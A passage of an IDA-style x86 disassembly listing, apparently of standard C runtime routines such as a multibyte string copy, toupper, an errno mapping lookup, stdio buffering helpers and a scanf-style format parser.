locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DCEC1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA04, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43CBD4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C9C8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C9C8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBA04
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB94C, ecx
		mov	eax, offset dword_43CCE0


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43CE48
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB948, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43CCE4[edx*8]
		mov	dword_4DB948, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB948, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB948, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43D0D8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43D0F8
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DBB30
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB9D4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB9D4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43CBD4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C9C8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43CBD4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C9C8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43CBD4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C9C8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43CBD8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43CBD8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43CBD4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C9C8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43CBD4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C9C8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43CF78
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43CE50
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43CE48


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
